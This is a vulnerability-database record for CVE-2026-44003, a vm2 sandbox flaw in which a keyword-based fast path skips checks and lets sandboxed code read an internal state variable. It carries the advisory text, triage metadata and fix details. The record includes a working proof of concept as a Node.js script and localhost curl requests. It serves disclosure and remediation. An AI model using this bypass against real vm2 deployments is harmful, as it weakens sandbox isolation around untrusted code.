{"id":"CVE-2026-44003","kind":"vulnerability","aliases":["CVE-2026-44003","GHSA-wp5r-2gw5-m7q7"],"related":[],"title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","summary":"vm2 skips its code-analysis step when sandboxed code has no catch, import or async keyword, so sandboxed code can read the internal state variable and list its helper functions. The sources say these helpers are not direct escape vectors today, but the sandbox control is bypassed.","severity":"medium","cvss":5.8,"epss":0.00248,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.0"],"affected":"<= 3.10.5","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.0"],"affected":"< 3.11.0","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-693","node.js","npm","package","sandboxing","vm2"],"not_affected_if":["no-untrusted-code","vm2-above-3.10.5"],"how_to_check":"- Check the installed vm2 version with `npm ls vm2` in each project that uses it.\n- Search lock files and dependency trees for `vm2` to find transitive copies.\n- Look for code that runs untrusted input through `new VM()` or `vm.run` without the keywords the sources mention.","fix":"- vm2 `3.11.0` (affected versions are `<= 3.10.5`).","status":"open","published_at":"2026-05-07T04:32:56+00:00","first_seen_at":"2026-11-05T22:11:14+00:00","triaged_at":"2026-11-05T22:12:43+00:00","updated_at":"2026-11-05T22:16:00+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-05T22:12:43Z","model":"claude-haiku-5-5","output":{"fix":"- vm2 `3.11.0` (affected versions are `<= 3.10.5`).","reach":"local","title":"vm2: sandbox fast path exposes internal state variable to sandboxed code","impact":"low","summary":"vm2 skips its code-analysis step when sandboxed code has no catch, import or async keyword, so sandboxed code can read the internal state variable and list its helper functions. The sources say these helpers are not direct escape vectors today, but the sandbox control is bypassed.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","node.js","vm2","sandboxing"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"sandboxed code reads internal vm2 state and its helper functions","analyst_note":"","how_to_check":"- Check the installed vm2 version with `npm ls vm2` in each project that uses it.\n- Search lock files and dependency trees for `vm2` to find transitive copies.\n- Look for code that runs untrusted input through `new VM()` or `vm.run` without the keywords the sources mention.","plain_action":"","needs_analyst":false,"not_affected_if":["vm2-above-3.10.5","no-untrusted-code"],"who_is_affected":"Any application that runs code through vm2 is affected, with no special configuration required according to the advisory. Systems that run only trusted code inside vm2 face less risk, since the advisory describes the exposed helpers as not direct escape vectors today. Teams that run untrusted or user-submitted code in vm2 are the ones to prioritize.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000853,"input_tokens":5611,"output_tokens":584,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':462C '-2026':13A,21A '-44003':14A,22A '-57':142C '-693':28B '1':180C '2':207C '2gw5':18A '3':223C,486C '3000/api/execute':366C,406C '55':141C 'access':116C,193C,288C,359C,477C 'add':442C 'addit':257C 'allow':111C 'analysi':39B,94C 'applic':510C 'application/json':371C,411C 'ast':93C,153C,189C 'async':49B,104C,149C,454C 'attack':502C 'avoid':485C 'b':146C,150C,451C 'b/.test':456C 'bash':356C 'block':192C,320C,395C 'bypass':7A,81B,110C,187C,212C,250C,291C,360C,472C 'catch':46B,101C,147C,322C,341C,344C,397C,427C,452C 'catch/import/async':293C 'chang':507C 'check':145C,185C,449C 'code':38B,43B,53B,85C,97C,113C,159C,171C,373C,413C,457C,466C,484C,506C 'code-analysi':37B 'code.indexof':458C 'complet':249C,480C 'configur':515C 'console.log':313C,346C 'const':280C,284C,295C 'contain':100C,162C 'content':369C,409C 'content-typ':368C,408C 'control':79B,254C,318C,393C,471C 'creat':499C 'curl':361C,401C 'current':239C 'cve':12A,20A 'cwe':27B 'd':372C,412C 'defens':240C,490C 'defense-in-depth':489C 'demonstr':355C 'depth':492C 'detail':138C 'determin':151C 'direct':72B,115C,243C 'e':230C,342C,345C,428C 'e.message':343C,347C,429C 'enabl':220C 'error':431C 'escap':73B,244C 'exploit':270C 'expos':8A,131C,228C,498C 'fail':128C,204C,309C,340C,385C,426C 'fals':468C 'fast':5A,108C,176C 'fast-path':4A,107C,175C 'fix':439C 'function':64B,134C,496C 'futur':256C,505C 'ghsa':16A 'ghsa-wp5r-2gw5-m7q7':15A 'h':367C,407C 'handleexcept':135C,229C,316C,391C 'hasasync':467C 'helper':63B,69B 'http':354C 'identifi':184C 'immedi':269C 'impact':469C 'import':47B,102C,137C,148C,233C,317C,392C,453C 'ineffect':481C 'instrument':210C 'intern':9A,57B,118C,120C,132C,181C,196C,225C,264C,289C,301C,332C,350C,357C,377C,418C,434C,446C,459C,474C,494C 'javascript':279C,440C 'join':312C,388C 'keyword':50B,105C,166C,294C,323C,398C,444C,488C 'latent':501C 'level':274C 'lib/transformer.js':140C 'librari':273C 'library-level':272C 'list':61B 'localhost':365C,405C 'm7q7':19A 'manipul':222C 'method':237C,261C 'name':183C,448C,461C,476C 'need':156C 'never':205C 'new':286C 'node.js':29B,276C 'npm':30B 'null':465C 'object':227C,266C 'object.keys':310C,386C 'optim':90C 'packag':31B 'path':6A,109C,177C 'perform':89C 'poc':271C,275C 'post':364C,404C 'present':325C,400C 'primari':278C 'program':126C,202C,307C,338C,383C,424C 'project':25A 'proto':464C 'read':55B 'regex':144C 'repres':247C 'requir':282C,516C 'restrict':478C 'result':296C,314C,389C,430C 'return':169C,463C 'run':206C 'sandbox':32B,42B,52B,78B,112C 'say':67B 'scope':221C,508C 'script':277C 'secur':133C,253C,470C,495C 'sensit':260C 'skip':35B,92C 'sourc':66B 'special':514C 'specif':487C 'state':10A,58B,121C,182C,197C,226C,265C,290C,302C,333C,352C,358C,378C,419C,436C,447C,460C,475C 'statement':209C,214C 'step':40B 'suggest':438C 'summari':82C 'surfac':503C 'taken':179C 'test':319C,394C 'today':75B 'transform':3A,86C,154C,168C 'transformer.js:55':441C 'tri':326C,328C,414C 'type':370C,410C 'unmodifi':172C 'use':124C,200C,305C,336C,348C,381C,422C,432C,511C 'util':241C 'var':298C,329C,374C,415C 'variabl':11A,59B,129C,353C,437C 'vector':74B,245C 'violat':493C 'visitor':190C 'vm':281C,285C,287C 'vm.run':297C,327C 'vm2':1A,23A,24A,26A,33B,34B,83C,119C,195C,283C,300C,331C,351C,376C,417C,435C,512C 'whether':152C 'would':267C 'wp5r':17A 'wrap':217C 'wrapwith':136C,219C,231C,315C,390C 'x':232C,299C,311C,330C,363C,375C,387C,403C,416C","nicknames":[],"mitigations":[],"who_affected":"Any application that runs code through vm2 is affected, with no special configuration required according to the advisory. Systems that run only trusted code inside vm2 face less risk, since the advisory describes the exposed helpers as not direct escape vectors today. Teams that run untrusted or user-submitted code in vm2 are the ones to prioritize.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["cwe693","medium","nodejs","npm","package","sandboxing","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-01T20:44:52+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-wp5r-2gw5-m7q7","url":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7","severity":"medium","published_at":"2026-05-07T04:32:56+00:00","modified_at":"2026-11-05T22:09:25+00:00","first_seen_at":"2026-11-05T22:11:14+00:00","fetched_at":"2026-11-05T22:31:38+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-44003","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003","severity":null,"published_at":"2026-05-13T18:16:16+00:00","modified_at":"2026-10-26T17:10:03+00:00","first_seen_at":"2026-11-05T22:16:00+00:00","fetched_at":"2026-11-05T22:16:00+00:00","note":null}],"documents":[{"id":80688,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-wp5r-2gw5-m7q7","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":80689,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-01T20:44:52+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63594,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":80691,"url":"https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00248,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44003"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}